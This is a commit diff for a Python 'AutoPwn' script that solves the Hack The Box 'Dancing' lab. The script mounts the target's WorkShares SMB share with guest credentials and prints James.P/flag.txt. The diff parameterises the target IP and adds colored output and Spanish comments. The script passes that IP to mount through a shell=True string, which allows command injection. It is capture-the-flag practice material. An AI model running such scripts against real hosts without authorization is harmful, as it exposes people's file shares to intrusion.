Skip to content

Commit 2bdfe7b

Browse files
authored
Update dancingPwn.py
1 parent 36779f5 commit 2bdfe7b

File tree

1 file changed

+27
-16
lines changed

1 file changed

+27
-16
lines changed

dancingPwn.py

Lines changed: 27 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -3,51 +3,62 @@
33
import os
44
import subprocess
55
import argparse
6+
from colorama import Fore, Style
67

78
class Exploit:
89
def __init__(self, ip_address, lport):
910
self.ip_address = ip_address
1011
self.lport = lport
1112

1213
def run(self):
13-
mount_path = '/home/axel/HTB/dancing/content/mnt'
14-
share_path = '//10.129.131.234/WorkShares'
15-
username = "guest" # Define el nombre de usuario aquí
16-
password = ""
17-
filename = "flag.txt"
18-
19-
mount_command = f'mount -t cifs {share_path} {mount_path} -o username={username},password='
20-
# Comando para montar el recurso compartido utilizando CIFS
14+
mount_path = '/home/axel/HTB/dancing/exploits/mnt'
15+
share_path = f'//{self.ip_address}/WorkShares'
16+
username = 'guest'
17+
password = ''
18+
filename = 'flag.txt'
19+
20+
# Verifica si la carpeta de montaje existe. Si no existe, la crea.
21+
if not os.path.exists(mount_path):
22+
try:
23+
os.makedirs(mount_path)
24+
except OSError as e:
25+
print(Fore.RED + f'No se pudo crear la carpeta: {str(e)}' + Style.RESET_ALL)
26+
27+
# Comando para montar la carpeta compartida utilizando la dirección IP proporcionada y las credenciales de 'guest'
28+
mount_command = f"mount -t cifs {share_path} {mount_path} -o username={username},password={password}"
2129
subprocess.run(mount_command, shell=True, input=b'\n', stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
2230

2331
file_path = os.path.join(mount_path, 'James.P', filename)
24-
# Ruta completa al archivo dentro del recurso compartido montado
2532

2633
try:
34+
# Intenta abrir el archivo 'flag.txt' y leer su contenido
2735
with open(file_path, 'r') as file:
2836
content = file.read()
29-
print(f"El contenido de 'flag.txt': {content}")
37+
print(Fore.GREEN + f"El contenido de la 'flag': {content}" + Style.RESET_ALL)
3038
except FileNotFoundError:
31-
print(f'El archivo {file_path} no existe.')
39+
# Si el archivo no existe, muestra un mensaje de error
40+
print(Fore.RED + f'El archivo {file_path} no existe.' + Style.RESET_ALL)
3241
except PermissionError:
33-
print(f'No tienes permisos para leer el archivo {file_path}.')
42+
# Si no se tienen permisos para leer el archivo, muestra un mensaje de error
43+
print(Fore.RED + f'No tienes permisos para leer el archivo {file_path}.' + Style.RESET_ALL)
3444

45+
# Comando para desmontar la carpeta compartida
3546
umount_command = f'umount {mount_path}'
36-
# Comando para desmontar el recurso compartido
3747
subprocess.run(umount_command, shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
3848

39-
4049
def get_arguments():
50+
# Función para obtener los argumentos de línea de comandos: dirección IP y puerto
4151
parser = argparse.ArgumentParser(description='Uso de AutoPwn')
4252
parser.add_argument('-i', '--ip', dest='ip_address', required=True, help='IP de host remoto')
43-
parser.add_argument('-p', '--port', dest='lport', required=True, help='Proporcionar puerto.')
53+
parser.add_argument('-p', '--port', default=445, dest='lport', required=False, help='Proporcionar puerto.')
4454
return parser.parse_args()
4555

4656
def main():
57+
# Función principal
4758
args = get_arguments()
48-
4959
exploit = Exploit(args.ip_address, args.lport)
5060
exploit.run()
5161

5262
if __name__ == '__main__':
5363
main()
64+

0 commit comments

Comments
 (0)